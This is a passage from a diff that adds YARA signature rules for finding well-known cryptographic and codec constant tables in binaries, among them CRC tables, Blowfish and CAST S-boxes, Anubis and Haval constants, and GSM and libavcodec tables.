+	$a0 = { 00000000050000000e00000001000000040000000500000002000000050000001000000003000000060000003000000004000000070000006f0000000500000008000000f10000000600000009000000fa010000070000000a000000fe0300000800000004000000030000000900000003000000000000000a00000004000000040000000b00000005000000120000000c000000060000002c0000000d000000070000006a0000000e00000007000000750000000f00000008000000f800000010000000050000000f00000011000000040000000200000012000000040000000600000013000000050000001400000014000000060000002e0000001500000007000000690000001600000007000000720000001700000008000000f500000018000000060000002f0000001900000005000000110000001a00000005000000130000001b000000060000002a0000001c00000006000000320000001d000000070000006c0000001e00000008000000ec0000001f00000008000000fa00000020000000070000007100000021000000060000002b00000022000000060000002d00000023000000060000003100000024000000070000006d0000002500000007000000700000002600000008000000f20000002700000009000000f90100002800000008000000ef0000002900000007000000680000002a00000006000000330000002b000000070000006b0000002c000000070000006e0000002d00000008000000ee0000002e00000008000000f90000002f0000000a000000fc0300003000000009000000f80100003100000007000000740000003200000007000000730000003300000008000000ed0000003400000008000000f00000003500000008000000f60000003600000009000000f60100003700000009000000fd010000380000000a000000fd0300003900000008000000f30000003a00000008000000f40000003b00000008000000f70000003c00000009000000f70100003d00000009000000fb0100003e00000009000000fc0100003f0000000a000000ff030000 }
+
+condition:
+	$a0
+}
+
+	
+rule SecuDE_bdk__8_byt_128_
+{
+strings:
+	$a0 = { 0101010101010101fefefefefefefefe1f1f1f1f1f1f1f1fe0e0e0e0e0e0e0e0e0fee0fef1fef1fe1ffe1ffe0efe0efe01fe01fe01fe01fe1f0e1fe00ef10ef101e001e001f101f101e001e001f101f1fee0fee0fef1fef1fe1ffe1ffe0efe0efe01fe01fe01fe01fe1ffe1ffe0efe0ee001e001f101f1011f011f010e010e01 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_10_poly_0x331__16_big_refl_True_
+{
+strings:
+	$a0 = { 00008dd902338fea046689bf06558b8c08cc85150aff87260caa81730e99834011989c4113ab9e7215fe982717cd9a141954948d1b6796be1d3290eb1f0192d82330aee92103acda2756aa8f2565a8bc2bfca62529cfa4162f9aa2432da9a07032a8bf71309bbd4236cebb1734fdb9243a64b7bd3857b58e3e02b3db3c31b1e84660cbb94453c98a4206cfdf4035cdec4eacc3754c9fc1464acac71348f9c52057f8da2155cbd812539ede4751addc745f34d2ed5d07d0de5b52d68b5961d4b86550e8896763eaba6136ecef6305eedc6d9ce0456fafe27669fae4236bc9e61074c8f91176fbfb2270aefd77729dff447c04f1dd7e37f3ee7862f5bb7a51f7888cc001198ef3032a88a6057f8a95074c840c09d5863f0be6806a0db382590f809d5810819f6b12b2993e14e79b0d16d49594184d97a71a7e91f21c2b93c11e18aff02229adc3201aab96264fa9a5247ca73c2ae5a50f28d6a35a2e83a1692cb0be6833b1bc5b3182ba0e37d7b83d35e4b6a43b7db497394eb2c23f1bb0f13d28caa04779c893454acec6431fccf5412cc26c4fb5c05f4d86c60a4bd3c43949e0db3856e1d90b54d2df5e5287dd6d50b4d3f45e2dd1c75c1ed7925a4bd5a15878e9906449eba3667aedf6602fefc5621ce15c6c85e36f6eb6e53a68e3e7096ad0f80875d1fa3b77e2fc6e71b7fe5d7384f0c47d1df2f77f2ef4a2797bf6917b48 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_fc_2pulses_9bits_track1__8_byt_16_
+{
+strings:
+	$a0 = { 010306080b0d101215171a1c1f212426 }
+
+condition:
+	$a0
+}
+
+	
+rule CAST128___CAST256_sbox1__32_big_1024_
+{
+strings:
+	$a0 = { 30fb40d49fa0ff0b6beccd2f3f258c7a1e213f2f9c004dd36003e540cf9fc949bfd4af2788bbbdb5e203409098d096756e63a0e015c361d2c2e7661d22d4ff8e28683b6fc07fd059ff2379c8775f50e243c340d3df2f8656887ca41aa2d2bd2da1c9e0d6346c481961b76d8722540f2f2abe32e1aa54166b22568e3aa2d341d066db40c8a784392f004dff2f2db9d2de97943fac4a97c1d8527644b7b5f437a7b82cbaefd751d1596ff7f0ed5a097a1f827b68d090ecf52e22b0c054bc8e59354b6d2f7f50bb64a2d2664910bee5812db7332290e93b159fb48ee4114bff345dfd45c240ad31973fc4f6d02e55fc8165d5b1caada1ac2daea2d4b76dc19b0c50882240f20c6e4f38a4e4bfd74f5ba272564c1d2fc59c5319b949e354b04669feb1b6ab8ac71358dd6385c545110f935d57538ad56a390493e63d37e02a54f6b33a787d5f6276a0b519a6fcdf7a42206a29f9d4d5f61b1891bb72275eaa50816738901091c6b505eb84c7cb8c2ad75a0f874a1427a2d1936b2ad286afaa56d291d7894360425c750d93b39e26187184c96c00b32d73e2bb14a0bebc3c5462377964459eab3f328b827718cf8259a2cea604ee002e89fe78e63fab0950325ff6c281383f056963c5c876cb5ad6d49974c9ca180dcf380782d5c7fa5cf68ac3151135e79e1347da91d0f40f9086a7e2419e31366241051ef495aa573b044a805d8d548300d000322a3cbf64cddfba57a68e75c6372b50afd341a7c13275915a0bf56b54bfab2b0b1426ab4cc9d7449ccd82f7fbf265ab85c5f31b55db94aad4e324cfa4bd3f2deaa3e29e204d02c8bd25aceadf55b3d5bd9e98e31231b22ad5ad6c954329deadbe4528d8710f69aa51c90faa786bf622513f1eaa51a79b2ad344cc7b5a41f0d37cfbad1b06950541ece491b4c332e6032268d4c9600accce387e6dbf6bb16c6a70fb780d03d9c9d4df39dee01063da4736f4645ad328d8b347cc9675bb0fc398511bfb4ffbcc35b58bcf6ae11f0abcbfc5fe4aa70aec10ac39570a3f04442f6188b153e0397a2e5727cb799ceb418f1cacd68d2ad37c960175cb9dc69dff09c75b65f0d9db40d8ec0e77794744ead4b11c3274dd24cb9e7e1c54bdf01144f9d2240eb19675b3fda3ac3755d47c27af51c85f4d56907596a5bb15e6580304f0ca042cf1011a37ea8dbfaadb35ba3e4a3526ffa0c37b4d09bc306ed998a526665648f725ff5e569d0ced63d07c63b2cf700b45e1d5ea50f185a92872af1fbda7d4234870a7870bf32d3b4d7942e041980cd0ede726470db8f881814c474d6ad77c0c5e5cd1231959381b7298f5d2f4dbab8386536e2f1e2383719c9ebd91e0469a56456edc39200c20c8c571962bda1ce1e696ffb141ab087cca89b91a69e78302cc4843a2f7c579429ef47d427b169c5ac9f049dd8f0f005c8165bf }
+
+condition:
+	$a0
+}
+
+	
+rule Haval_mc4__32_big_128_
+{
+strings:
+	$a0 = { 7a325381289586773b8f48986b4bb9afc4bfe81b6628219361d809ccfb21a991487cac605dec8032ef845d5de98575b1dc262302eb651b8823893e81d396acc50f6d6ff383f442392e0b4482a484200469c8f04a9e1f9b5e21c66842f6e96c9a670c9c61abd388f06a51a0d2d8542f68960fa728ab5133a36eef0b6c137a3be4 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_table_gsm_INVA__16_lil_16_
+{
+strings:
+	$a0 = { 3333333333333333174b4444de7a0c74 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book2__32_big_972_
+{
+strings:
+	$a0 = { 0000000000000009000001f300000001000000070000006f0000000200000009000001fd0000000300000008000000eb0000000400000006000000230000000500000008000000ea0000000600000009000001f70000000700000008000000e80000000800000009000001fa0000000900000008000000f20000000a000000060000002d0000000b00000007000000700000000c00000006000000200000000d00000005000000060000000e000000060000002b0000000f000000070000006e0000001000000006000000280000001100000008000000e90000001200000009000001f90000001300000007000000660000001400000008000000f80000001500000008000000e700000016000000060000001b0000001700000008000000f10000001800000009000001f400000019000000070000006b0000001a00000009000001f50000001b00000008000000ec0000001c000000060000002a0000001d000000070000006c0000001e000000060000002c0000001f000000050000000a00000020000000060000002700000021000000070000006700000022000000060000001a0000002300000008000000f500000024000000060000002400000025000000050000000800000026000000060000001f0000002700000005000000090000002800000003000000000000002900000005000000070000002a000000060000001d0000002b000000050000000b0000002c00000006000000300000002d00000008000000ef0000002e000000060000001c0000002f000000070000006400000030000000060000001e00000031000000050000000c0000003200000006000000290000003300000008000000f300000034000000060000002f0000003500000008000000f00000003600000009000001fc0000003700000007000000710000003800000009000001f20000003900000008000000f40000003a00000006000000210000003b00000008000000e60000003c00000008000000f70000003d00000007000000680000003e00000009000001f80000003f00000008000000ee0000004000000006000000220000004100000007000000650000004200000006000000310000004300000004000000020000004400000006000000260000004500000008000000ed00000046000000060000002500000047000000070000006a0000004800000009000001fb0000004900000007000000720000004a00000009000001fe0000004b00000007000000690000004c000000060000002e0000004d00000008000000f60000004e00000009000001ff0000004f000000070000006d0000005000000009000001f6 }
+
+condition:
+	$a0
+}
+
+	
+rule OpenJPEG_dwt_norms_real__flt32___32_big_148_
+{
+strings:
+	$a0 = { 3f8000003ffb851f4085a9fc410672b04187333342075c294287614843074ccd43874ccd4407399a40016873407f4bc74105ae14418851ec4209147b4289428f43094ccd43894ccd4409400040016873407f4bc74105ae14418851ec4209147b4289428f43094ccd43894ccd4409400040051eb840775c294104e979418970a4420ad70a428b2e14430b4ccd438b4ccd440b4ccd }
+
+condition:
+	$a0
+}
+
+	
+rule Borland_alternate_ebcdic_to_ascii__8_byt_256_
+{
+strings:
+	$a0 = { 000102030009007f0000000b0c0d0e0f1011121300000800181900001c1d1e1f00000000000a171b00000000000506070000160000000004000000001415001a200000000000000000005b2e3c282b212600000000000000000021242a293b5e2d2f00000000000000007c2c255f3e3f000000000000000000603a2340273d2200616263646566676869000000000000006a6b6c6d6e6f707172000000000000007e737475767778797a000000000000000000000000000000000000000000007b4142434445464748490000000000007d4a4b4c4d4e4f5051520000000000000000535455565758595a000000000000303132333435363738390000000000ff }
+
+condition:
+	$a0
+}
+
+	
+rule Blowfish_s_init__32_big_4096_
+{
+strings:
+	$a0 = { d1310ba698dfb5ac2ffd72dbd01adfb7b8e1afed6a267e96ba7c9045f12c7f9924a19947b3916cf70801f2e2858efc16636920d871574e69a458fea3f4933d7e0d95748f728eb658718bcd5882154aee7b54a41dc25a59b59c30d5392af26013c5d1b023286085f0ca417918b8db38ef8e79dcb0603a180e6c9e0e8bb01e8a3ed71577c1bd314b2778af2fda55605c60e65525f3aa55ab945748986263e8144055ca396a2aab10b6b4cc5c341141e8cea15486af7c72e993b3ee1411636fbc2a2ba9c55d741831f6ce5c3e169b87931eafd6ba336c24cf5c7a325381289586773b8f48986b4bb9afc4bfe81b6628219361d809ccfb21a991487cac605dec8032ef845d5de98575b1dc262302eb651b8823893e81d396acc50f6d6ff383f442392e0b4482a484200469c8f04a9e1f9b5e21c66842f6e96c9a670c9c61abd388f06a51a0d2d8542f68960fa728ab5133a36eef0b6c137a3be4ba3bf0507efb2a98a1f1651d39af017666ca593e82430e888cee8619456f9fb47d84a5c33b8b5ebee06f75d885c12073401a449f56c16aa64ed3aa62363f77061bfedf72429b023d37d0d724d00a1248db0fead349f1c09b075372c980991b7b25d479d8f6e8def7e3fe501ab6794c3b976ce0bd04c006bac1a94fb6409f60c45e5c9ec2196a246368fb6faf3e6c53b51339b2eb3b52ec6f6dfc511f9b30952ccc814544af5ebd09bee3d004de334afd660f2807192e4bb3c0cba85745c8740fd20b5f39b9d3fbdb5579c0bd1a60320ad6a100c6402c7279679f25fefb1fa3cc8ea5e9f8db3222f83c7516dffd616b152f501ec8ad0552ab323db5fafd23876053317b483e00df829e5c57bbca6f8ca01a87562edf1769dbd542a8f6287effc3ac6732c68c4f5573695b27b0bbca58c8e1ffa35db8f011a010fa3d98fd2183b84afcb56c2dd1d35b9a53e479b6f84565d28e49bc4bfb9790e1ddf2daa4cb7e3362fb1341cee4c6e8ef20cada36774c01d07e9efe2bf11fb495dbda4dae909198eaad8e716b93d5a0d08ed1d0afc725e08e3c5b2f8e7594b78ff6e2fbf2122b648888b812900df01c4fad5ea0688fc31cd1cff191b3a8c1ad2f2f2218be0e1777ea752dfe8b021fa1e5a0cc0fb56f74e818acf3d6ce89e299b4a84fe0fd13e0b77cc43b81d2ada8d9165fa2668095770593cc7314211a1477e6ad206577b5fa86c75442f5fb9d35cfebcdaf0c7b3e89a0d6411bd3ae1e7e4900250e2d2071b35e226800bb57b8e0af2464369bf009b91e5563911d59dfa6aa78c14389d95a537f207d5ba202e5b9c5832603766295cfa911c819684e734a41b3472dca7b14a94a1b5100529a532915d60f573fbc9bc6e42b60a47681e6740008ba6fb5571be91ff296ec6b2a0dd915b6636521e7b9f9b6ff34052ec585566453b02d5da99f8fa108ba47996e85076a4b7a70e9b5b32944db75092ec4192623ad6ea6b049a7df7d9cee60b88fedb266ecaa8c71699a17ff5664526cc2b19ee1193602a575094c29a0591340e4183a3e3f54989a5b429d656b8fe4d699f73fd6a1d29c07efe830f54d2d38e6f0255dc14cdd20868470eb266382e9c6021ecc5e09686b3f3ebaefc93c9718146b6a70a1687f358452a0e286b79c5305aa5007373e07841c7fdeae5c8e7d44ec5716f2b8b03ada37f0500c0df01c1f040200b3ffae0cf51a3cb574b225837a58dc0921bdd19113f97ca92ff69432477322f547013ae5e58137c2dadcc8b576349af3dda7a94461460fd0030eecc8c73ea4751e41e238cd993bea0e2f3280bba1183eb3314e548b384f6db9086f420d03f60a04bf2cb8129024977c795679b072bcaf89afde9a771fd9930810b38bae12dccf3f2e5512721f2e6b7124501adde69f84cd877a5847187408da17bc9f9abce94b7d8cec7aec3adb851dfa63094366c464c3d2ef1c18473215d908dd433b3724c2ba1612a14d432a65c45150940002133ae4dd71dff89e10314e5581ac77d65f11199b043556f1d7a3c76b3c11183b5924a509f28fe6ed97f1fbfa9ebabf2c1e153c6e86e34570eae96fb1860e5e0a5a3e2ab3771fe71c4e3d06fa2965dcb999e71d0f803e89d65266c8252e4cc9789c10b36ac6150eba94e2ea78a5fc3c531e0a2df4f2f74ea7361d2b3d1939260f19c279605223a708f71312b6ebadfe6eeac31f66e3bc4595a67bc883b17f37d1018cff28c332ddefbe6c5aa56558218568ab9802eecea50fdb2f953b2aef7dad5b6e2f841521b62829076170ecdd4775619f151013cca830eb61bd960334fe1eaa0363cfb5735c904c70a239d59e9e0bcbaade14eecc86bc60622ca79cab5cabb2f3846e648b1eaf19bdf0caa02369b9655abb5040685a323c2ab4b3319ee9d5c021b8f79b540b19875fa09995f7997e623d7da8f837889a97e32d7711ed935f166812810e358829c7e61fd696dedfa17858ba9957f584a51b2272639b83c3ff1ac24696cdb30aeb532e30548fd948e46dbc312858ebf2ef34c6ffeafe28ed61ee7c3c735d4a14d9e864b7e342105d14203e13e045eee2b6a3aaabeadb6c4f15facb4fd0c742f442ef6abbb5654f3b1d41cd2105d81e799e86854dc7e44b476a3d816250cf62a1f25b8d2646fc8883a0c1c7b6a37f1524c369cb749247848a0b5692b285095bbf00ad19489d1462b17423820e0058428d2a0c55f5ea1dadf43e233f70613372f0928d937e41d65fecf16c223bdb7cde3759cbee74604085f2a7ce77326ea607808419f8509ee8efd85561d99735a969a7aac50c06c25a04abfc800bcadc9e447a2ec3453484fdd567050e1e9ec9db73dbd3105588cd675fda79e3674340c5c43465713e38d83d28f89ef16dff20153e21e78fb03d4ae6e39f2bdb83adf7e93d5a68948140f7f64c261c94692934411520f77602d4f7bcf46b2ed4a20068d40824713320f46a43b7d4b7500061af1e39f62e9724454614214f74bf8b88404d95fc1d96b591af70f4ddd366a02f45bfbc09ec03bd97857fac6dd031cb850496eb27b355fd3941da2547e6abca0a9a28507825530429f40a2c86dae9b66dfb68dc1462d7486900680ec0a427a18dee4f3ffea2e887ad8cb58ce0067af4d6b6aace1e7cd3375fecce78a399406b2a4220fe9e35d9f385b9ee39d7ab3b124e8b1dc9faf74b6d185626a36631eae397b23a6efa74dd5b43326841e7f7ca7820fbfb0af54ed8feb397454056acba48952755533a3a20838d87fe6ba9b7d096954b55a867bca1159a58cca9296399e1db33a62a4a563f3125f95ef47e1c9029317cfdf8e80204272f7080bb155c05282ce395c11548e4c66d2248c1133fc70f86dc07f9c9ee41041f0f404779a45d886e17325f51ebd59bc0d1f2bcc18f41113564257b7834602a9c60dff8e8a31f636c1b0e12b4c202e1329eaf664fd1cad181156b2395e0333e92e13b240b62eebeb92285b2a20ee6ba0d99de720c8c2da2f728d012784595b794fd647d0862e7ccf5f05449a36f877d48fac39dfd27f33e8d1e0a476341992eff743a6f6eabf4f8fd37a812dc60a1ebddf8991be14cdb6e6b0dc67b55106d672c372765d43bdcd0e804f1290dc7cc00ffa3b5390f92690fed0b667b9ffbcedb7d9ca091cf0bd9155ea3bb132f88515bad247b9479bf763bd6eb37392eb3cc1159798026e297f42e312d6842ada7c66a2b3b12754ccc782ef11c6a124237b79251e706a1bbe64bfb63501a6b101811caedfa3d25bdd8e2e1c3c9444216590a121386d90cec6ed5abea2a64af674eda86a85fbebfe98864e4c3fe9dbc8057f0f7c08660787bf86003604dd1fd8346f6381fb07745ae04d736fccc83426b33f01eab71b08041873c005e5f77a057bebde8ae2455464299bf582e614e58f48ff2ddfda2f474ef388789bdc25366f9c3c8b38e74b475f25546fcd9b97aeb26618b1ddf84846a0e79915f95e2466e598e20b457708cd55591c902de4cb90bace1bb8205d011a862487574a99eb77f19b6e0a9dc09662d09a1c4324633e85a1f0209f0be8c4a99a0251d6efe101ab93d1d0ba5a4dfa186f20f2868f169dcb7da83573906fea1e2ce9b4fcd7f5250115e01a70683faa002b5c40de6d0279af88c27773f8641c3604c0661a806b5f0177a28c0f586e0006058aa30dc7d6211e69ed72338ea6353c2dd94c2c21634bbcbee5690bcb6deebfc7da1ce591d766f05e4094b7c018839720a3d7c927c2486e3725f724d9db91ac15bb4d39eb8fced54557808fca5b5d83d7cd34dad0fc41e50ef5eb161e6f8a28514d96c51133c6fd5c7e756e14ec4362abfceddc6c837d79a323492638212670efa8e406000e03a39ce37d3faf5cfabc277375ac52d1b5cb0679e4fa33742d382274099bc9bbed5118e9dbf0f7315d62d1c7ec700c47bb78c1b6b21a19045b26eb1be6a366eb45748ab2fbc946e79c6a376d26549c2c8530ff8ee468dde7dd5730a1d4cd04dc62939bbdba9ba4650ac9526e8be5ee304a1fad5f06a2d519a63ef8ce29a86ee22c089c2b843242ef6a51e03aa9cf2d0a483c061ba9be96a4d8fe51550ba645bd62826a2f9a73a3ae14ba99586ef5562e9c72fefd3f752f7da3f046f6977fa0a5980e4a91587b086019b09e6ad3b3ee593e990fd5a9e34d7972cf0b7d9022b8b5196d5ac3a017da67dd1cf3ed67c7d2d281f9f25cfadf2b89b5ad6b4725a88f54ce029ac71e019a5e647b0acfded93fa9be8d3c48d283b57ccf8d5662979132e28785f0191ed756055f7960e44e3d35e8c15056dd488f46dba03a161250564f0bdc3eb9e153c9057a297271aeca93a072a1b3f6d9b1e6321f5f59c66fb26dcf3197533d928b155fdf5035634828aba3cbb28517711c20ad9f8abcc5167ccad925f4de817513830dc8e379d58629320f991ea7a90c2fb3e7bce5121ce64774fbe32a8b6e37ec3293d4648de53696413e680a2ae0810dd6db22469852dfd09072166b39a460a6445c0dd586cdecf1c20c8ae5bbef7dd1b588d40ccd2017f6bb4e3bbdda26a7e3a59ff453e350a44bcb4cdd572eacea8fa6484bb8d6612aebf3c6f47d29be463542f5d9eaec2771bf64e6370740e0d8de75b1357f8721671af537d5d4040cb084eb4e2cc34d2466a0115af84e1b0042895983a1d06b89fb4ce6ea0486f3f3b823520ab82011a1d4b277227f8611560b1e7933fdcbb3a792b344525bda08839e151ce794b2f32c9b7a01fbac9e01cc87ebcc7d1f6cf0111c3a1e8aac71a908749d44fbd9ad0dadecbd50ada380339c32ac69136678df9317ce0b12b4ff79e59b743f5bb3af2d519ff27d9459cbf97222c15e6fc2a0f91fc719b941525fae59361ceb69cebc2a8645912baa8d1b6c1075ee3056a0c10d25065cb03a442e0ec6e0e1698db3b4c98a0be3278e9649f1f9532e0d392dfd3a0342b8971f21e1b0a74414ba3348cc5be7120c37632d8df359f8d9b992f2ee60b6f470fe3f11de54cda541edad891ce6279cfcd3e7e6f1618b166fd2c1d05848fd2c5f6fb2299f523f357a632762393a8353156cccd02acf081625a75ebb56e16369788d273ccde96629281b949d04c50901b71c65614e6c6c7bd327a140a45e1d006c3f27b9ac9aa53fd62a80f00bb25bfe235bdd2f671126905b2040222b6cbcf7ccd769c2b53113ec01640e3d338abbd602547adf0ba38209cf746ce7677afa1c52075606085cbfe4e8ae88dd87aaaf9b04cf9aa7e1948c25c02fb8a8c01c36ae4d6ebe1f990d4f869a65cdea03f09252dc208e69fb74e6132ce77e25b578fdfe33ac372e6 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32_IEEE_802_3_poly_0xEDB88320__32_lil_refl_True_
+{
+strings:
+	$a0 = { 00000000973623064156c405d660e703ed970a027aa12904acc1ce073bf7ed01da2f15044d1936029b79d1010c4ff20737b81f06a08e3c0076eedb03e1d8f805db64a8014c528b079a326c040d044f0236f3a203a1c5810577a56606e0934500014bbd05967d9e03401d7900d72b5a06ecdcb7077bea9401ad8a73023abc5004b6c9500321ff7305f79f940660a9b7005b5e5a01cc6879071a089e048d3ebd026ce64507fbd066012db08102ba86a20481714f0516476c03c0278b005711a8066dadf802fa9bdb042cfb3c07bbcd1f01803af200170cd106c16c3605565a1503b782ed0620b4ce00f6d4290361e20a055a15e704cd23c4021b4323018c7500076c93a106fba582002dc56503baf346058104ab0416328802c0526f0157644c07b6bcb402218a9704f7ea700760dc53015b2bbe00cc1d9d061a7d7a058d4b5903b7f7090720c12a01f6a1cd026197ee045a600305cd5620031b36c7008c00e4066dd81c03faee3f052c8ed806bbb8fb00804f160117793507c119d204562ff102da5af1054d6cd2039b0c35000c3a160637cdfb07a0fbd801769b3f02e1ad1c040075e4019743c70741232004d6150302ede2ee037ad4cd05acb42a063b820900013e590496087a0240689d01d75ebe07eca953067b9f7000adff97033ac9b405db114c004c276f069a4788050d71ab0336864602a1b0650477d08207e0e6a101b71dc104202be202f64b0501617d26075a8acb06cdbce8001bdc0f038cea2c056d32d400fa04f7062c641005bb52330380a5de021793fd04c1f31a0756c539016c796905fb4f4a032d2fad00ba198e0681ee630716d84001c0b8a702578e8404b6567c0121605f07f700b80460369b025bc17603ccf755051a97b2068da1910001d4910796e2b20140825502d7b47604ec439b057b75b803ad155f003a237c06dbfb84034ccda7059aad40060d9b6300366c8e01a15aad07773a4a04e00c6902dab039064d861a009be6fd030cd0de0537273304a01110027671f701e147d407009f2c0297a90f0441c9e807d6ffcb01ed0826007a3e0506ac5ee2053b68c103db8e60024cb843049ad8a4070dee870136196a00a12f4906774fae05e0798d0301a175069697560040f7b103d7c19205ec367f047b005c02ad60bb013a56980700eac80397dceb0541bc0c06d68a2f00ed7dc2017a4be107ac2b06043b1d2502dac5dd074df3fe019b9319020ca53a043752d705a064f40376041300e13230066d473001fa7113072c11f404bb27d70280d03a0317e61905c186fe0656b0dd00b7682505205e0603f63ee1006108c2065aff2f07cdc90c011ba9eb028c9fc804b62398002115bb06f7755c0560437f035bb49202cc82b1041ae256078dd475016c0c8d04fb3aae022d5a4901ba6c6a07819b870616ada400c0cd430357fb6005 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_celp_math_base_cos__16_lil_130_
+{
+strings:
+	$a0 = { FF7FE27F697FA57E917D317C847A8C784876BD73E970D16D746AD666F862DD5E885AFB553951454C2247D3415B3CBE36FF30232B2B251D1FFB18CA128E0C49060100B9F975F338ED07E7E6E0D7DAE0D403CF44C9A7C330BEE1B8BDB3C9AE07AA7AA525A10A9D2C998E953192188F458CB98976877D85D08370825D81988020800080 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_12_poly_0xf01__16_big_refl_True_
+{
+strings:
+	$a0 = { 0000e1b5c28b233e84f76542467ca7c9080fe9baca842b318cf86d4d4e73afc6101ef1abd295332094e9755c5662b7d71811f9a4da9a3b2f9ce67d535e6dbfd8203cc189e2b70302a4cb457e664087f52833c986eab80b0dacc44d716e4f8ffa3022d197f2a9131cb4d55560765e97eb382dd998faa61b13bcda5d6f7e519fe44078a1cd82f36346c48f253a0604e7b14877a9c28afc6b49cc802d350e0befbe5066b1d392ed7358d4913524161af7af5869b9dc9ae27b57dc9e3d2b1e15ffa0604481f1a2cf437ae4b305062638c78d684b89feaac04b75ecbc0d092e37cf82705a91efb2d15364f4ad15183626d793785599e0bade5b6bfca21d173e29df9c80f06145427ba3ce0407e5b2c68c273988ff694a4a74abc10c08edbdce832f3690ee715b5265b3d01419f5acd692372798e179545a6abbdf1c16fda3de9d3f28a0cc4179624783f2243bc58ee6b00705a8c349766a488bfd2c34cd81eebf0f0ab0d25167725993ec3425d590f6ae171bb8dd59687a569be33c2add9ffea11f14c088213d0203e3b6447fa5ca86f46741c88729320a0cebb94c70adc58efb6f4ed0963123121df3a85461b5d496ea775fd899392c1a12fba75c6ebddb9ee57f50e0b40101223fc38a644385f6a6c8477de8bb090e2a30cb856c4c8df9aec74f72f0aa111f3221d394745d95e8b6d65763f8a519103a2edb9b7c529de7bed95f6c }
+
+condition:
+	$a0
+}
+
+	
+rule Anubis_T4__32_big_1024_
+{
+strings:
+	$a0 = { a7a7a7a7d3d3d3d3e6e6e6e671717171d0d0d0d0acacacac4d4d4d4d797979793a3a3a3ac9c9c9c991919191fcfcfcfc1e1e1e1e4747474754545454bdbdbdbd8c8c8c8ca5a5a5a57a7a7a7afbfbfbfb63636363b8b8b8b8ddddddddd4d4d4d4e5e5e5e5b3b3b3b3c5c5c5c5bebebebea9a9a9a9888888880c0c0c0ca2a2a2a239393939dfdfdfdf29292929dadadada2b2b2b2ba8a8a8a8cbcbcbcb4c4c4c4c4b4b4b4b22222222aaaaaaaa242424244141414170707070a6a6a6a6f9f9f9f95a5a5a5ae2e2e2e2b0b0b0b0363636367d7d7d7de4e4e4e433333333ffffffff6060606020202020080808088b8b8b8b5e5e5e5eabababab7f7f7f7f787878787c7c7c7c2c2c2c2c57575757d2d2d2d2dcdcdcdc6d6d6d6d7e7e7e7e0d0d0d0d5353535394949494c3c3c3c32828282827272727060606065f5f5f5fadadadad676767675c5c5c5c55555555484848480e0e0e0e52525252eaeaeaea424242425b5b5b5b5d5d5d5d303030305858585851515151595959593c3c3c3c4e4e4e4e383838388a8a8a8a7272727214141414e7e7e7e7c6c6c6c6dededede505050508e8e8e8e92929292d1d1d1d17777777793939393454545459a9a9a9acececece2d2d2d2d0303030362626262b6b6b6b6b9b9b9b9bfbfbfbf969696966b6b6b6b3f3f3f3f0707070712121212aeaeaeae4040404034343434464646463e3e3e3edbdbdbdbcfcfcfcfececececccccccccc1c1c1c1a1a1a1a1c0c0c0c0d6d6d6d61d1d1d1df4f4f4f4616161613b3b3b3b10101010d8d8d8d868686868a0a0a0a0b1b1b1b10a0a0a0a696969696c6c6c6c49494949fafafafa76767676c4c4c4c49e9e9e9e9b9b9b9b6e6e6e6e99999999c2c2c2c2b7b7b7b798989898bcbcbcbc8f8f8f8f858585851f1f1f1fb4b4b4b4f8f8f8f8111111112e2e2e2e00000000252525251c1c1c1c2a2a2a2a3d3d3d3d050505054f4f4f4f7b7b7b7bb2b2b2b23232323290909090afafafaf19191919a3a3a3a3f7f7f7f7737373739d9d9d9d1515151574747474eeeeeeeecacacaca9f9f9f9f0f0f0f0f1b1b1b1b7575757586868686848484849c9c9c9c4a4a4a4a979797971a1a1a1a65656565f6f6f6f6edededed09090909bbbbbbbb2626262683838383ebebebeb6f6f6f6f81818181040404046a6a6a6a434343430101010117171717e1e1e1e187878787f5f5f5f58d8d8d8de3e3e3e3232323238080808044444444161616166666666621212121fefefefed5d5d5d531313131d9d9d9d935353535181818180202020264646464f2f2f2f2f1f1f1f156565656cdcdcdcd82828282c8c8c8c8babababaf0f0f0f0efefefefe9e9e9e9e8e8e8e8fdfdfdfd89898989d7d7d7d7c7c7c7c7b5b5b5b5a4a4a4a42f2f2f2f95959595131313130b0b0b0bf3f3f3f3e0e0e0e037373737 }
+
+condition:
+	$a0
+}
+
+	
+rule SSL2__define__32_big_AND_
+{
+strings:
+	$a0 = { 02000000[0-20]02010080[0-20]02020080[0-20]02030080[0-20]02040080[0-20]02050080[0-20]02060040[0-20]02060140[0-20]020700c0[0-20]020701c0[0-20]02080080[0-20]02ff0800[0-20]02ff0810 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_NIST_PRIME_384_SEED__8_byt_20_
+{
+strings:
+	$a0 = { a335926aa319a27a1d00896a6773a4827acdac73 }
+
+condition:
+	$a0
+}
+
+	
+rule swscale_rgb2yuv_table__flt32___32_lil_288_
+{
+strings:
+	$a0 = { 5917373f98dd933dd0b3593ecba1c5be0000003f1f85ebbdb072e8be7f6a3cbd0000003f5917373f98dd933dd0b3593ecba1c5be0000003f1f85ebbdb072e8be7f6a3cbd0000003fa245163fd578e93d8716993ed578a9be0000003f560e2dbe2b87d6be54e3a5bd0000003fa245163fd578e93d8716993ed578a9be0000003f560e2dbe2b87d6be54e3a5bd0000003f3d0a173fae47e13d9a99993ed578a9be0000003f560e2dbe508dd7bec1caa1bd0000003fa245163fd578e93d8716993ed578a9be0000003f560e2dbe2b87d6be54e3a5bd0000003fa245163fd578e93d8716993ed578a9be0000003f560e2dbe2b87d6be54e3a5bd0000003fbc74333f0e2db23d8716593ea69bc4be0000003f6891edbd0ad7e3beae4761bd0000003f }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_table_gsm_H__16_lil_22_
+{
+strings:
+	$a0 = { 7AFF8AFE000006086D1600206D16060800008AFE7AFF }
+
+condition:
+	$a0
+}
+
+	
+rule ElGamal_public_key_encryption__32_big_152_
+{
+strings:
+	$a0 = { 0000020000000077000003000000009100000400000000a500000500000000b700000600000000c600000700000000d400000800000000e100000900000000ed00000a00000000f900000b000000010300000c000000010d00000d000000011700000e000000012000000f00000001280000100000000131000011000000013900001200000001400000130000000148000014000000014f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_dca_downmix_coeffs__flt64___64_lil_520_
+{
+strings:
